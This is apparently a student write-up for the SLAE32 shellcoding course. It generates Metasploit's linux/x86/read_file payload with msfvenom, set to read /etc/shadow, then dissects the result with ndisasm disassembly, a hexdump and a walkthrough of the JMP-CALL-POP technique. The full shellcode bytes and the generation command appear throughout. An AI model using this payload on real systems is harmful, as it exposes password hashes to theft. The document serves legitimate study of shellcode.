



**SLAE32**  
**assignment 5-1**  
**PA-2485**

I used this payload

linux/x86/read\_file

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msfvenom -p linux/x86/read_file --payload-options
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Options for payload/linux/x86/read\_file:

Name: Linux Read File

Module: payload/linux/x86/read\_file

Platform: Linux

Arch: x86

Needs Admin: No

Total size: 62

Rank: Normal

Provided by:

hal

Basic options:

Name	Current	Setting	Required	Description
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FD	1	yes		The file descriptor to write output to
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PATH		yes		The file path to read
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Description:

Read up to 4096 bytes from the local file system and write it back  
out to the specified file descriptor

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And I generated by msfvenom

```
msfvenom -a x86 -p linux/x86/read_file PATH=/etc/shadow > shadow
```

then I disassemble it by  
ndisasm -u shadow

and here the code with comments

```
00000000 EB36          jmp short 0x38 ;jmp/call/pop technique
00000002 B805000000    mov eax,0x5 ;; int open(const char *pathname, int
flags);
00000007 5B           pop ebx ; pop the @ of the string starting at 0x3D
00000008 31C9        xor ecx,ecx ;Zero out ecx
0000000A CD80        int 0x80 ;open syscall
0000000C 89C3        mov ebx,eax
0000000E B803000000    mov eax,0x3
00000013 89E7        mov edi,esp
00000015 89F9        mov ecx,edi
00000017 BA00100000    mov edx,0x1000
0000001C CD80        int 0x80
0000001E 89C2        mov edx,eax
00000020 B804000000    mov eax,0x4
00000025 BB01000000    mov ebx,0x1
0000002A CD80        int 0x80
0000002C B801000000    mov eax,0x1
00000031 BB00000000    mov ebx,0x0
00000036 CD80        int 0x80
00000038 E8C5FFFFFF    call 0x2 ;pushing the @ of the following bytes
(/etc/shadow) on the stack
0000003D 2F          das
0000003E 657463      gs jz 0xa4
00000041 2F          das
00000042 7368        jnc 0xac
00000044 61          popa
00000045 646F        fs outsd
00000047 7700        ja 0x49
```

then after I exmined it with hexdump it shows that the string at the end of the shellcode

```
00000000 eb 36 b8 05 00 00 00 5b 31 c9 cd 80 89 c3 b8 03 |.6.....[1.....|
00000010 00 00 00 89 e7 89 f9 ba 00 10 00 00 cd 80 89 c2 |.....|
00000020 b8 04 00 00 00 bb 01 00 00 00 cd 80 b8 01 00 00 |.....|
00000030 00 bb 00 00 00 00 cd 80 e8 c5 ff ff ff 2f 65 74 |...../et|
00000040 63 2f 73 68 61 64 6f 77 00                |c/shadow.|
00000049
```

it's clearly that it uses JMP-CALL-POP

The jmp/call/pop technique will set the address of the following string in EBX:

```
root@kali:~# echo -e \x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00
/etc/shadow
```

The read\_file shellcode opens the file, reads its content, writes it to the STDOUT and exits.